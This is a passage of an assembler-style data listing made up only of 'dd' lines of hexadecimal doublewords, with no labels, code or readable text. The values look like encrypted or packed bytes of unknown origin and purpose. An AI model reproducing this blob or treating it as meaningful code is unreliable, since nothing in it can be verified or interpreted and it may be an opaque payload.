1B95272Ch, 2D4FD7F7h, 0A5BC10F4h, 161CBB02h dd 0E1404008h, 0AD2625CAh, 2E02D749h, 4AF65ACCh, 18715F58h dd 0E503E905h, 135913h, 0DB87C2F8h, 5F60D97Fh, 0F93E5187h dd 23EF023Ch, 0D74DFB44h, 34086228h, 0EF14121Ch, 301012CAh dd 0E0E05E1Fh, 5DE82F31h, 64BD9270h, 0C483097h, 0B50C30Ah dd 28A2E913h, 532567CAh, 0F7264474h, 3E40E217h, 0E40644BDh dd 49295A0Ah, 69DD517Dh, 0E816010Dh, 34173C34h, 8D7BE7EBh dd 9A308829h, 0D13630F1h, 32FCF786h, 54B5BC7Ch, 8EBB2425h dd 2E021CC9h, 0C75D5857h, 5A8390FAh, 90D6C8Ch, 65A71A58h dd 35A6E8FDh, 0A94E2C90h, 2CC312C9h, 7725680Ch, 80DF921Ch dd 1274EBE9h, 0E07C9047h, 319C3270h, 0BB41880Ch, 0E6A53144h dd 0BD87977h, 99743EDAh, 1825ED70h, 421F280Bh, 5026315Eh dd 848CF1Dh, 14B8283Dh, 0D043E927h, 0B01B91C0h, 0AE31BF96h dd 8AE9170Ch, 905320CDh, 808C0EFCh, 0EC66FBCCh, 671606F3h dd 0B204E788h, 46F2D0B7h, 1498284h, 51188EBFh, 41129A30h dd 230220D7h, 48997D95h dd 8C6E4BBh, 3047D2A1h, 0DC3C4261h, 66255E39h, 5FC930B8h dd 62B1455Dh, 645728EAh, 52882817h, 6B300915h, 22F74F89h dd 0F55AD585h, 0A2005DFBh, 2564CC31h, 0FD320F01h, 0D0E00544h dd 8150BB33h, 75C064C1h, 1D255B3Eh, 5C580702h, 671CE2B0h dd 20BBD375h, 2C27FC7Fh, 456AD4h, 1C575ABh, 0A9EDF31h dd 802F1458h, 7100D905h, 0D8F73303h, 12DC60Dh, 0B63526E3h dd 0D42C675Eh, 9825635Dh, 938D48Bh, 0F7D9937Eh, 52A82693h dd 92516767h, 0AD0838F7h, 157F903Bh, 8FF12D1Dh, 654479BEh dd 613BD67h, 1FF43C42h, 4BAF040Ch, 805854F0h, 8C22B124h dd 0E1E93308h, 89AD1D96h, 8CC523BAh, 9689509Fh, 478EE857h dd 2B3D3B0Dh, 3AA87F7Ch, 57A59F32h, 43DCD609h, 0BD5729F0h dd 0D5C5E4D6h, 89680591h, 0AD9855FEh, 81161CC5h, 0D0045D23h dd 53FA4399h, 3929410Ah, 0A461A905h, 8207712h, 5AEF0CD2h dd 0A17F2872h, 0EAA68CFh, 480AD452h, 0A0C5298Ch, 303889ECh dd 793C51EAh, 4363F333h, 88B1C00Ch, 90DD29E5h, 9D20951Ch dd 52B90F30h, 0C8177E9Fh, 9475250Ch, 615DBC63h, 38644C68h dd 41ECC427h, 0AAC43FB8h, 2A8CFF22h, 11106207h, 0F87F5AD1h dd 0AED04F22h, 16EEEA2Ch, 4DC656Ch, 0AED1028Dh, 55C0CFA2h dd 0F216851h, 0D122BD2Fh, 9AC1C0A1h, 65481843h, 4A9405FCh dd 21BC7BFCh, 0FC2DE67Fh, 0C76FF529h, 0A1FD7924h, 0A585E96Fh dd 815A252Eh, 6BA22A47h, 0E64403B3h, 54CD2568h, 0FDF61A9Bh dd 5EC286Fh, 20BB336Dh, 1044A8CAh, 59C42B4Fh, 2EE90704h dd 79BBEDF0h, 5CFB04B9h, 805BDF09h, 3F4DDE7Ah, 0CE90D08h dd 97BA01B1h, 2B36BF3Bh, 0E742A7F2h, 50001190h, 45666E68h dd 0EA955810h, 5DE83056h, 13B82CE9h, 25C1829Eh, 86564A36h dd 9DC2CE27h, 19AD65Bh, 0A1E0890Dh, 0DBCB80EAh, 0C037B6E0h dd 42D5F1Ah, 31FC6B2h, 0C34BC289h, 62A3D42Ah, 3654ED21h dd 0FE3BF273h, 4013BB3Dh, 0DE3CE944h, 0F9B09FD2h, 0B776B5B8h dd 8BCB2C3Dh, 84FD298Bh, 0FD2F1D2h, 46D7C7h, 125DE020h dd 0EB4B6855h, 0C0E27E3h, 0BD206617h, 0C2A1FB43h, 0FFDC41BDh dd 32592734h, 1094D188h, 0FA25967Dh, 0EC2541AAh, 481854C6h dd 0E10C7690h, 168C77C5h, 0C96DBFE9h, 6EF26BF7h, 5455AD05h dd 3DA6EE5Dh, 0E8C8AAD7h, 0DFD0968h, 6C007B8Fh, 27CA06EEh dd 822D7A3Dh, 0E91D7275h, 2E15C93h, 0EFD1D7F7h, 7C3E60E0h dd 8942FE13h, 67C24C40h, 0C11B6E33h, 8E4BB20Ch, 10AE3B47h dd 0C6808DFh, 2D7F2714h, 0ED2E91FFh, 1004D320h, 8FCD02EEh dd 0B26EB82Ah, 42DFE9C5h, 1F846A30h, 94D6F01h, 9A7F594Ch dd 0A583C5E6h, 24EBE5F5h, 6605A18h, 0B4806E98h, 0CCFE0586h dd 0D7D3F480h, 3076A138h, 4B982FFCh, 0EF19485Fh, 0BD04ABD7h dd 0EAC2F788h, 278708A6h, 0A4A01077h, 277C5C16h, 44BB82A5h dd 0F463765Eh, 88BF5B1Dh, 635AC198h, 0BB931EF2h, 0EC4973F4h dd 2662BFCAh, 54C55AF4h, 0E909D1ADh, 13AE2178h, 3CFD0FC0h dd 6B544368h, 4E09BB64h, 0FD58F636h, 489B9C60h, 1E410580h dd 89121E15h, 3E203C63h, 4F7660F6h, 27C2465Eh, 9EDDF869h dd 0B0574B27h, 7E8C19Ah, 17D4B1Bh, 8548EE9h, 0C5D75D27h dd 0B7681E9Eh, 8D895BD7h, 238981D1h, 0D6C5A69Eh, 0C918398Ah dd 45DDEA5h, 0EBECD1FFh, 0E7755D25h, 0D34D97FEh, 0D6BAE627h dd 664AB170h, 9657CECh, 66C0AF06h, 0C11511E9h, 602EF1C9h dd 27914102h, 4E742697h, 0C53D000Fh, 3BC03C32h, 5F0B6217h dd 0BBE6057Ch, 0FE31FA18h, 0CE6963A4h, 4063F95Fh, 3404B995h dd 0F9017E10h, 5F380810h, 53CB219Eh, 3E8AB1D2h, 0C928FDA0h dd 1690DF14h, 5797D831h, 439F4E94h, 0C673A1BCh, 13CAB9D4h dd 0AE6C965Ch, 1BB2B12h, 1336641Eh, 0FA788201h, 0C078B86Eh dd 3E6A8395h, 0C1C070A1h, 0AC06E130h, 601B26DEh, 47A63059h dd 0D2B0285Fh, 296C4DB2h, 2DD0E05Ah, 3C4BDA08h, 74466A00h dd 0CF09200Ah, 17429859h, 9977C0E9h, 1151F916h, 0D16FB49Fh dd 6A48213Bh, 49C5B6DCh, 4580681Eh, 876E530Fh, 0DDF7EB18h dd 2F38108h, 91ACF0BFh, 0C3DE1AE9h, 1B685D03h, 0A6AF8570h dd 46E90975h, 884579B9h, 0ED24E315h, 7B199F01h, 0EB85D45h dd 80702779h, 0D1560975h, 82F0B0AFh, 35241319h, 0DE0BDA41h dd 627C5472h, 0B3006736h, 73E38030h, 0C0F30C77h, 1C0ACBFEh dd 9BE6FE97h, 92C9F95Ch, 1DED7FC0h, 3009AB93h, 92CFD6FCh dd 0E056FA05h, 0CB9D1FABh, 275AF5A5h, 0C292330h, 27E0CBBFh dd 0C47FF344h, 80CE4F97h, 51CAFED4h, 0F6D5881Ch, 0DEEA25BAh dd 86D71E46h, 185A5BFDh, 0D1C5FE2Eh, 97E16B08h, 0DC0CE204h dd 3358EB10h, 201EA816h, 0D769688Ah, 2581358h, 23E47B9Eh dd 0DE1DD01h, 78E77CE3h, 208EF35Ch, 5B539A7Dh, 0F7E909h dd 17502D26h, 3C4CBA52h, 0E99F1653h, 0C7C73290h, 8B1EBD8Ah dd 256B850h, 0D5176DACh, 736891CCh, 0BC2BE13Eh, 34FBE47Ah dd 0D609AA22h, 0B9E5EFDh, 4BD406E9h, 83E1F789h, 1E4138C0h dd 173C775Fh, 0BB2B8C88h, 36445A04h, 49AF4B16h, 0D940DB3Ah dd 39093772h, 3AFC68FDh, 20D0DD70h, 0E909D99Ch, 9C3FD8D0h dd 5CB93E4h, 762B5C1h, 3CEB29B5h, 4E59E9B7h, 8BFF4EFDh dd 0BAE90D40h, 7C2D4C0Eh, 0DF95E9E0h, 0DE3128C7h, 0F608F326h dd 45205EBCh, 0FF442C8Bh, 0C127FD71h, 53861041h, 622ABE00h dd 0E963A026h, 4A0D2E1Ah, 1C62D337h, 0C53E56E9h, 0ACD2EB9Ah dd 887E694Eh, 80FCF2D2h, 0CC46F5BCh, 14BACD37h, 589B0526h dd 1CC8462Fh, 25730668h, 9EAC1C55h, 87E97805h, 0BB04F6BAh dd 1B4C51A7h, 93D87783h, 0E1E85EC1h, 0E06D2F37h, 0B60B1E36h dd 4803D016h, 9B751D49h, 0BD2F0443h, 5F8E89D7h, 5BE96268h dd 0D6FD0F54h, 3AF95178h, 7646380Ch, 8AD70786h, 0EFF22928h dd 112BE95h, 0EA0721CFh, 80F7548Dh, 0E8596054h, 2BD2C3Ah dd 29907ABFh, 4A0077CDh, 60960117h, 82480D3Dh, 45E92E10h dd 6C4DFC32h, 27449F55h, 24CD7889h, 61B0DFEDh, 7A4A685Bh dd 0D99639EDh, 56B77B8Eh, 24A1E90Ch, 0B6D3F51Dh, 33779F56h dd 78EC2EE2h, 5E300990h, 1A22537Ch, 0C5D52004h, 0BBD99655h dd 11F7F440h, 9D9BC4E0h, 3120E358h, 905E65Dh, 56917584h dd 734885Dh, 16D96427h, 0BCFBD7E9h, 4E02F35Dh, 314907BEh dd 2BBF72F8h, 4A61824Ah, 6E30F565h, 2EDD34B0h, 20EB78h dd 0E06A9EE9h, 0A0ED296Fh, 0CC9708D2h, 1CD96895h, 1C2F3F1Ch dd 7BBD7516h, 1D428296h, 8E4946A9h, 590840EDh, 0AB591FE9h dd 0BE0F02B6h, 7FE268C8h, 40ED29A2h, 38A08166h, 5280C35Ch dd 25EA98B2h, 5A59F888h, 0BB7BB40h, 0B97D4A6Ch, 60F602F5h dd 0C03C7A30h, 81C8D05Ah, 12112C58h, 554435D7h, 42FE59CAh dd 5A0A72FCh, 0DD60BD92h, 9BC44963h, 0FF165073h, 0BA4B7C9Fh dd 0C16BFA29h, 2FFA248h, 4378405Eh, 7493042h, 9E57F27Ah dd 10AA3C4Eh, 354B08C8h, 9C75809Ch, 52610767h, 0F73CB680h dd 671F9C9Ch, 9CBADF6Bh, 123E23FEh, 0A5BF0C05h, 0EBBC3BFAh dd 8122924h, 501B9CAh, 3A2A20F5h, 0B71E07E8h, 88F560CBh dd 2AFAE583h, 2F1B599Dh, 23946BF2h, 0CF67839Bh, 3D94A764h dd 0D0316BEh, 2E675907h, 673096B5h, 9C7B16A2h, 94C6002Ah dd 29D647FDh, 40DDF040h, 0A40B68EDh, 654A775Dh, 8625BC1Eh dd 915B44DFh, 5BCB080Dh dd 86A9DE39h, 17555C07h, 23DAE24Dh, 2E85D0Bh, 1B13B672h dd 0DEF02193h, 3D114117h, 67AE035Dh, 9010C96h, 509E6811h dd 1168945Eh, 0A84A2910h, 31EC10B1h, 0A57E8451h, 2AACEC4Dh dd 885AF99Fh, 0DD5A5A54h, 5A27F77Bh, 282F2713h, 421F2B22h dd 273B3500h, 310F2DBCh, 0E9C1D65Eh, 402EE620h, 5647BC99h dd 0D57D0160h, 0E55ED430h, 2839EEE6h, 0CC42D8Ch, 0CD6F0C8h dd 47188E0Ch, 1624650Bh, 2CC5C5Dh, 0F85A4C12h, 97BEE0B6h dd 73722478h, 0D931ABCh, 2E534455h, 0AD811EE9h, 5A587840h dd 445279B5h, 4E84E8AEh, 38513E69h, 5902917Eh, 0E887B7Fh dd 6C2329BFh, 2AC7C101h, 2DF12C08h, 2571909h, 707F2Fh dd 825AFD2Dh, 0C301DD12h, 3DEC9808h, 126EB351h, 0D8EBA27Ah dd 4A5737C2h, 4006F92Dh, 0DD955A08h, 8FE8139h, 0B30A4A3Dh dd 802779F9h, 9D8664CAh, 772BF800h, 6CBF161Fh, 0CF1501Ah dd 9829C151h, 581E5A21h, 0BAB35FDh, 50E93E0Ch, 3CF6B718h dd 35BB4BE6h, 39C0CE00h, 0EEC161D5h, 3E0024Ch, 128D133Ah dd 23C4FC21h, 16BC88D5h, 7FBAEBB0h, 29236317h, 8049CF1h dd 66128AE3h, 0C2D6048Fh, 0DA680B09h, 6BC7F4C3h, 0EC5F919h dd 150CFCA4h, 0CEE6F56h, 3D3C1261h, 466006ACh, 8E7FB614h dd 4BE92CAEh, 0D02980A5h, 0CF37652Dh, 0C2311A1Ch, 7008E9BCh dd 22080BE9h, 65851040h, 0E6CDAF5Ah, 685E032Bh, 0BB843FABh dd 5C846AA3h, 2FB0FA66h, 0F8D5D758h, 0EB89186Dh, 0BB4A4C40h dd 67500A8h, 0EFE92794h, 2C239D5Eh, 8C5A4F68h, 88AA1783h dd 78BC2040h, 3F805A80h, 0F49384EBh, 0DFD4F24Dh, 0C32C754Ch dd 9D3898F5h, 1E2C4D74h, 6A03E942h, 727BDFE4h, 0C08FC949h dd 0E6806570h, 0C8302FF1h, 955ED5FEh, 0A8E240F6h, 27BAD90Dh dd 7439EC57h, 0C27F96CAh, 0B5475456h, 0E9133A22h, 1021A7B4h dd 59216323h, 95B54644h, 39EF0CA0h, 90FC5F95h, 0E908804Ch dd 0FD1CBA52h, 985A0B20h, 1B83391Eh, 0FCBEEB40h, 8F50CB5h dd 0F9ECB17Fh, 0EE7981F2h, 4B4136C6h, 40F0B82Bh, 612FE908h dd 6899E8D0h, 60863D5Bh, 0A5DD9B97h, 0BFB904F9h, 0A80DD0B4h dd 5E68ADBFh, 0C85DD112h, 0C4FA041Fh, 0CDA2FAA1h, 87DE9352h dd 33F2C180h, 0F1B19CE1h, 0BBC3E405h, 120BDA9Eh, 93FF7107h dd 0BABB4130h, 2A0F3558h, 0F21D5EE8h, 0C5D812Ch, 0DE39E952h dd 3780E274h, 895E5384h, 5550CBF8h, 32BA60C8h, 70D4B3CBh dd 0D32127E6h, 0EB168B6Eh, 0B70220C9h, 77E3D143h, 36577D06h dd 0B3410A67h, 29E7A299h, 65D485C1h, 38DD35C8h, 89166316h dd 0A0EE1FD3h, 2BF95A4Fh, 0BB15C8F4h, 77210B40h, 642D35D8h dd 5326025Bh, 73F73FB9h, 737627E1h, 5CBBDC49h, 6B1CD795h dd 4BED3FFBh, 0B938F013h, 151C377Eh, 4743F79Dh, 0D80629FBh dd 22F569F1h, 779C326h, 0EFE45EFEh, 7DE3FE9Eh, 0AA5F33C5h dd 0E1303D39h, 0D12D80D6h, 30754BECh, 0A0431409h, 0E99F8170h dd 3472201Bh, 903A9412h, 880AC4EEh, 8A164164h, 0F6CDECAEh dd 32681C68h, 0EF772517h, 0ACD70AC0h, 0E7140F5h, 1767F7Bh dd 8828BB8h, 4D275B86h, 0C9955DECh, 0C0D60881h, 1467C9BDh dd 0CF4A932Ch, 8500733Fh, 0E9CD295Ah, 46B559CFh, 0B9C23007h dd 4DADC371h, 4337D61Fh, 0D10F2D3Dh, 6B6805C1h, 4CA64940h dd 0F3BFE8F8h, 0C8DA472Ah, 2E1C106h, 0C5180F84h, 0E4D79145h dd 4802BE19h, 0F733867Ch, 0F9B8CBD6h, 207A25D9h, 1D6E68C6h dd 83DC55C4h, 183FC12h, 48C7411Eh, 6C31F901h, 0D47ED6A5h dd 0C06CAF02h, 250C2043h, 0DC9F5C86h, 56E99FC2h, 8DBD44FEh dd 0C224F82Ch, 60C12BDCh, 824F0B51h, 8C840642h, 19D9FE1Fh dd 0C333216Eh, 1762DC4Bh, 0C4EBC131h, 416F569Ch, 2705D218h dd 9DA94119h, 0B8203A82h, 0ED41C168h, 3A987DBFh, 0E7F75361h dd 3DDBFC17h, 18185FBCh, 0E0C11B32h, 40C50918h, 25290F0Ch dd 0F0FCC986h, 8467552Ah, 1C665B2Dh, 9C5F97DFh, 0BB5321BEh dd 88AB5427h, 5A0931DFh, 81C2D705h, 40F8040h, 49E459BDh dd 0F8EC5A04h, 0A0A34D3Fh, 0B12377E9h, 854926Ch, 522F1D72h dd 0D2F71222h, 7933FB87h, 4A22C60Bh, 4F91BC5Ch, 0CB4C1E8Bh dd 14715E2Ah, 0E853DC68h, 0AEE956C2h, 0B72DD158h, 449C8FE6h dd 9DFA40C1h, 0D164801Ah, 157615Dh, 1EF90DDh, 0FA4321Bh dd 0D34EE9h, 18E0E581h, 0C218720h, 0F20420Eh, 27C8124Ah dd 0AA0E0436h, 8A9B4A8h, 12DD5AD4h, 0D754384Ah, 1DEC0ED0h dd 251CD086h, 83434E47h, 0FB03C3D7h, 7B0AAA89h, 407F84E0h dd 0EA7E3144h, 7953132Dh, 0C8E842FCh, 5FC66802h, 18A71F30h dd 0B2EC024Eh, 3CDFF307h, 0B0E992A6h, 0C0B9FDC9h, 58000A2Ch dd 6FACF181h, 24E91BD3h, 4E57BCA6h, 0BE409EE5h, 19B24177h dd 4ED7463Dh, 6E4BBEB8h, 0E9CE10C5h, 9FEB9A07h, 2EE7965Dh dd 64FA3B8Bh, 698FB53h, 5DF140EAh, 0FD244390h, 68A51CE4h dd 0E1400F5Bh, 882AB93Bh, 4E034219h, 49EBED24h, 0A0665F0Ah dd 444ED34Bh, 4DBC334Eh, 9253E5E7h, 26659E8h, 4E03E12Fh dd 2FE898C7h, 4D6BD3F7h, 1371C5B8h, 4AC10A37h, 0FB16069Ch dd 0FCAC0A2Eh, 0C9EF53ABh, 3EF0414Ch, 0F9BC0F4Ah, 1ED9EBA5h dd 4CD7276Ch, 68A39038h, 7C7ECB2Dh, 964269F4h, 5F4FCAF7h dd 77CB6A71h, 282E012h, 0B8004143h, 0BDAA509Eh, 2182AC40h dd 5C06A426h, 0EE77DC02h, 67895D15h, 2EA857Dh, 0FD5EBFECh dd 0F1B903ACh, 0D17A3923h, 3225D9A1h, 0FE0D91FFh, 0E8D1B1C3h dd 4AA42DE4h, 1017B818h, 5D12D359h, 32B2FE51h, 0B63C87C5h dd 0EA5028EDh, 0F4D3722h, 853180E1h, 43C181BDh, 2B7F1078h dd 3B2594FCh, 5458540Eh, 0DB48F75Bh, 25E60404h, 8C04796h dd 7E8CA9Ah, 59CB313Fh, 394FA02Dh, 7C9DE973h, 455D256Dh dd 0DA1F895Ah, 5422B0DFh, 0E075820Ah, 24352375h, 2D0094Bh dd 760D1A70h, 15FD8D0h, 0E9834BE8h, 0CD7610C4h, 0B0365C3Fh dd 31D4400Ch, 0BE58C419h, 0CEC8937Ah, 442EBDC0h, 293BAE09h dd 8E2465F5h, 9FECE3C5h, 5741663Ch, 0E7C7102Ah, 0A3C5EA05h dd 4E8DA034h, 62DFDC9Fh, 0E5483E95h, 83255AD5h, 0DA52FCEDh dd 3EA8A2F5h, 0D5310255h, 98F759FFh, 41C576E5h, 3FCF6512h dd 53D22E00h, 0B74F7A15h, 0BC475168h, 13696880h, 4224638h dd 9C18AE9h, 1FDA735Ch, 76898953h, 0FBA0A0D3h, 8C68071Ch dd 0B759D1EDh, 0F595A74h, 0CB525FF8h, 0D2680B31h, 7F1DB245h dd 14A22D70h, 0DDF8CA55h, 0BEF83DE0h, 36FC80D2h, 0FCA0A41Dh dd 52A17C4Ah, 76D9BA05h, 0FDC24519h, 0C63341F6h, 0C06EBCFh dd 57555F42h, 24095D28h, 80BF4135h, 317A697Fh, 20D990D7h dd 5701FB8Bh, 0B160F68h, 0F1505F05h, 2AE9E7D1h, 2DA8CFF0h dd 43DB3D95h, 4E0BB42h, 0A4F4EE45h, 0FF25975Bh, 3E27A8EFh dd 0F900F8BAh, 0C3CA8173h, 9F21C43Fh, 5833CE83h, 3F4E243Fh dd 0A010ECEh, 0D4F6C04Bh, 0B5E8A1E6h, 1B7D0509h, 0E1DFC2A3h dd 0C83E4A80h, 5B05064h, 14210D31h, 373A315Fh, 759BD33Ch dd 0F4543C2Fh, 29B07063h, 0F4F39B6h, 803058C2h, 7A5970ECh dd 326D20E5h, 0BB65EBF4h, 4DC8D816h, 877C40DBh, 0BF2DCD77h dd 60737EA8h, 4FFB0213h, 7C2E4C9h, 0EE60251Fh, 4C175496h dd 0B810672Ch, 11651A3h, 7B0C9DC5h, 54E12E00h, 0B020A33h dd 0A9BCE941h, 0BAF62D6Eh, 20E8F292h, 0FA0115C0h, 9BD5553h dd 618A6823h, 0F5E9BCA1h dd 0CAEF5159h, 0B78B3A6Ah, 0C340FE4Fh, 0D112CB8h, 83429D4Ah dd 9D36F17Dh, 404A77D0h, 4AC868E8h, 3CB7189Fh, 574FCE56h dd 0C8C5B519h, 215B934Ch, 9BE66F05h, 5512978Ah, 0F98BFE54h dd 2E69531Ah, 0F4622C4Ah, 5C9E7852h, 663F6182h, 347C5D79h dd 2791B908h, 68B56857h, 0BD1A5B7Bh, 82680F4h, 5DE91305h dd 9E5A9948h, 0B8D04E31h, 302A4CEBh, 0FC0C4082h, 79BF770Ch dd 0D00820FFh, 1852140Ch, 398EBF2Ah, 0F65B6859h, 12FB1B38h dd 822C1485h, 0A950970Bh, 974AE343h, 137D1850h, 0BF561A25h dd 15A21E90h, 31CC26F7h, 44A73DFAh, 0EF5A3304h, 0C6F23AB8h dd 45B996A0h, 25C887Dh, 139606FEh, 0C560439h, 73C50F1Fh dd 8BC04B0Ah, 63760CEFh, 20FB062h, 0DFA6E254h, 305D5E57h dd 8097120Dh, 16709468h, 50037E97h, 5A80F6E1h, 12B52968h dd 6BB68E8Bh, 0F29F00Bh, 0F803A255h, 0F52D05ACh, 4FF66ECCh dd 9CCF184h, 86837D31h, 0EF84434Ch, 1CBACBDh, 8B8DB208h dd 702505E9h, 105C8E59h, 0BA032BFFh, 6AB86CC7h, 380DFED1h dd 1086D584h, 0BA484DA2h, 0D17E8706h, 0D2FC233Eh, 16411D5Eh dd 6FC206E4h, 335598DBh, 684B1D3Ah, 0DC6D14h, 989587Ah dd 60DA46D5h, 0EFACDE85h, 987B118Ah, 84A4B51Dh, 0DAF1FEC7h dd 97F0C9Dh, 8ED8383Ch, 0AA502D20h, 0C0E64A1Dh, 2E166142h dd 26823F78h, 0E80E13A0h, 1BAD69Eh, 0BB5F7B68h, 89BE826Ch dd 0F09344A0h, 97EEF221h, 92BC967Dh, 42CA0291h, 77E951E7h dd 5E4BE078h, 1F2E0FE4h, 964D8C4Ch, 0F639B023h, 0D72001B0h dd 0A8AC4E3Eh, 28627859h, 91F45E8h, 0E22D05Dh, 182084F5h dd 2A49EE58h, 115D802h, 405652EFh, 48CE6735h, 7611B11Bh dd 7DC7036Bh, 0B0E5A3EBh, 275AA0C6h, 0DFF2311Fh, 16E90880h dd 5B420E49h, 0A84F62BDh, 84050771h, 0F42A8C7Fh, 10D2343h dd 0C680DEBFh, 6EF128FBh, 847B24E5h, 0CCB7BFACh, 0A812B8D7h dd 5E327E9h, 7AA681F1h, 75CC7527h, 0FEFD8D0Eh, 0B88ADFFh dd 5AD8B87Eh, 3A11A1F2h, 0E0ED020Eh, 603E400Bh, 2DBBD087h dd 0A3E2308Eh, 278ACCDDh, 6F5B113Ch, 62E10E12h, 94A6FD6Bh dd 8F645B0Ch, 0B6F191Fh, 0E997D5C4h, 2FA8390Ch, 2DFA9854h dd 5EA0BF4Bh, 0BCF8FCEEh, 6CB2125h, 0B01C8CB2h, 0EAF6D216h dd 6709AE71h, 0D583FB05h, 3692A6B9h, 171028B6h, 0DD37E9EEh dd 0EB04288Fh, 0A7101FA9h, 0D3BF0313h, 0D127CA2Fh, 2884C9C7h dd 0AB186855h, 0D67B71B0h, 0D3E7B2E1h, 9068FC6h, 67F16805h dd 80052946h, 311130CFh, 0CDBF7084h, 0C9226022h, 2DB95F40h dd 0B3703AF7h, 0BA1D84F6h, 464C077Fh, 97E5652Eh, 44F8043h dd 38C9B3ECh, 0EA80E57Bh, 63253A46h, 77589D01h, 5FFA0888h dd 57950092h, 1F59EB16h, 27533B29h, 82B562E7h, 0DD791BB3h dd 0F4A84FF9h, 856D651Ch, 5613A0ACh, 0D59A6509h, 0A0F8FFCEh dd 0DD97E0B2h, 0BBFEC294h, 0FAD3DA4Eh, 5C79D2D6h, 92400F7Fh dd 0E420AF3Fh, 0EFB7C2EEh, 94D38928h, 0F21C71Dh, 84FD52DFh dd 6BE965C0h, 82E50EBh, 2F141C68h, 5D2DF954h, 0D0D5C409h dd 0BBEA4B18h, 6DE60D45h, 343D37BAh, 87DCEB4Ah, 69E52B68h dd 6FAE02F2h, 0C47F5934h, 53FB343Eh, 9D81FB49h, 2102BB65h dd 78AC18Ah, 132DCFB8h, 0CE1FD709h, 5E4C19F7h, 82A47651h dd 7D0EC574h, 0F6BAF342h, 10B41668h, 0E1D8209Dh, 38171388h dd 21899122h, 0A8AC2E92h, 2B77B789h, 55F942C0h, 0E5BF251Eh dd 0BCFE0BDAh, 59BF6694h, 0A9E90BA3h, 8648D82Bh, 8007E6B6h dd 0F3285EC3h, 0D75FEB57h, 0E9FB9CABh, 4DC17F4Ah, 0B9DC4AB5h dd 0A37EB587h, 25328472h, 0C2FBB204h, 0AE5106E6h, 4E31042h dd 0FD8AA01h, 54582568h, 0E18213D9h, 7D41B34Ch, 0C0E01A4Ah dd 0E7127E10h, 0B94B4D66h, 0D84A00DDh, 95762022h, 0CF858889h dd 0C0CC45E2h, 0B335BE02h, 0F41806F9h, 5DEF89F6h, 0A8C72926h dd 0A6CAF42Dh, 585A00DFh, 0B41802Dh, 0F8014D0Ah, 5F140705h dd 0D1A5E1C3h, 0FA3CC86Fh, 80EE61C9h, 37E4C64Ah, 0C7B6933h dd 0F3DC6202h, 0B032057Eh, 4026FE10h, 660EC5BBh, 0C831417Dh dd 4AC1A71h, 0F4D89F70h, 416BFB37h, 0BC0C19B1h, 501EEC2Eh dd 0AFA7DEBEh, 753349CEh, 0D6A5F05Bh, 324B503Fh, 27E5065Ch dd 0F5C8E249h, 0E950CF51h, 2E3858A4h, 2173FA8Eh, 3FC85BDFh dd 9FB9294h, 0B278C104h, 0BE476996h, 54F957B9h, 5A09F810h dd 0ED59C330h, 0FF125745h, 0FDC246F1h, 0E961B471h, 8C7BFFB8h dd 90614330h, 9759C865h, 9D4FEC6Ah, 0E867E9DEh, 4C5810E4h dd 4517100Bh, 0D4E1FCCFh, 9BA57DD7h, 0FC2748ADh, 0DC92B7D6h dd 24D7C84h, 51F4F380h, 0B2524030h, 5E9F88FDh, 9854581Dh dd 0FDDCCAB5h, 0F7741F06h, 93E2585Ch, 0E8C885BFh, 87D4B724h dd 5EF66802h, 6F57AAh, 6EC16BCDh, 0C80338BBh, 0E2E9A209h dd 16305A74h, 830089Eh, 2D8782Dh, 2F5DBE56h, 0CAC11EAEh dd 0DC680024h, 89B3994Dh, 157A8B2h, 0C9C18005h, 98BEB5C3h dd 0D0B569FAh, 0E999122Ah, 4FF47h, 3CBF5B54h, 7AECE979h dd 0E5C5C5BDh, 0FEBD4431h, 0DBDAF8Ah, 695EBA80h, 0DF984146h dd 2CDA3E59h, 50CB1B5Dh, 780DD23h, 9520741Fh, 0D1BE0BC3h dd 5D2DB7A0h, 4B75A453h, 0B322E6CFh, 62581A0Bh, 80D8DFC4h dd 0CF4AFCE7h, 8123364h, 107FCBAEh, 5632AD72h, 7B582C92h dd 0ADF4C7B5h, 158B1556h, 8D26F138h, 0D63951EFh, 0AEBDC8DEh dd 688091FDh, 37E6112Ch, 1850695Ah, 0E55DE4ABh, 595E4927h dd 166EA871h, 0F44EBC9Ah, 521F4FF8h, 53C097E9h, 7609FAE7h dd 9593D00Fh, 5058ED5Eh, 35141CB8h, 126DEE62h, 0FEBF562Ch dd 61C51D46h, 43A525D3h, 1653D398h, 0BF26459Fh, 8774FADBh dd 97E0D82h, 88810C79h, 0D83059CBh, 13882D38h, 4AFC831h dd 260BA36Bh, 0F6ADB04Eh, 0E781C0FBh, 0DF076C9Dh, 2764E91Bh dd 0E765FF09h, 4051B9B2h, 47091C5h, 0EEE945BDh, 7A92F50Bh dd 47622E8h, 0AB7B44EDh, 0BC50EE14h, 1D894008h, 0B63B5B81h dd 0A4E94E79h, 64D1F0B4h, 4B274116h, 3D439104h, 0D92E67E5h dd 0A54B7B0Eh, 2F9D5E5Dh, 0DCA74759h, 0D34ED0CDh, 121EBA80h dd 0BF5EB03Ah, 442110Bh, 2800F286h, 0F48059CCh, 8069265h dd 0C34FA0BAh, 0E36E8270h, 6AE9A310h, 0B9320228h, 1DF2D59h dd 5D2DAF7h, 840FC90Bh, 568D9202h, 56B2D675h, 0A943A294h dd 0B2BF8438h, 5F09B04Fh, 0DDE7BF1Ch, 2720AEA8h, 5B661205h dd 6215042Ch, 0C6290243h, 5DA44258h, 5202AFF0h, 6C65B668h dd 56FF6872h, 84E91654h, 748ABB49h, 0AF454C64h, 0BA5B0AE9h dd 7A56755Fh, 5BB8DF0h, 0CF44F32h, 0EB830FD1h, 63B63903h dd 5EA5F3B0h, 545484Ch, 4D593FC3h, 1392FF04h, 2654530Bh dd 3375200Bh, 6CD6307Ah, 7394C379h, 5C6E8B34h, 0C8B59EEh dd 1B39C474h, 804E72B7h, 955CE908h, 0C15B54E2h, 0CB707EC9h dd 70C8304h, 0F8C7CCB8h, 442A0500h, 4019017Ch, 0ACF22D48h dd 347EA674h, 11FF1404h, 0E928BAFCh, 0BCC9908h, 0E6E808ECh dd 9E3B6905h, 0A6F1033Ah, 0D9733E2Dh, 5B028313h, 0A144E485h dd 0D9332B36h, 5487F2D8h, 57B9E0FBh, 100CFC36h, 0BF0B5168h dd 5300EFC9h, 2512F0BBh, 27FA7F8Dh, 702558D7h, 600F8278h dd 83DE1A31h, 7478F5E8h, 9315383Dh, 0CBE4F9AEh, 25174BB2h dd 0B6840F74h, 0A9F3AAD3h, 3C64EF96h, 0DA5D38FFh, 9D87F440h dd 17BFFC5Bh, 1AF49EB7h dd 900574E2h, 38853648h, 42601D0Bh, 0E977300Fh, 0E32D4F10h dd 7F889F05h, 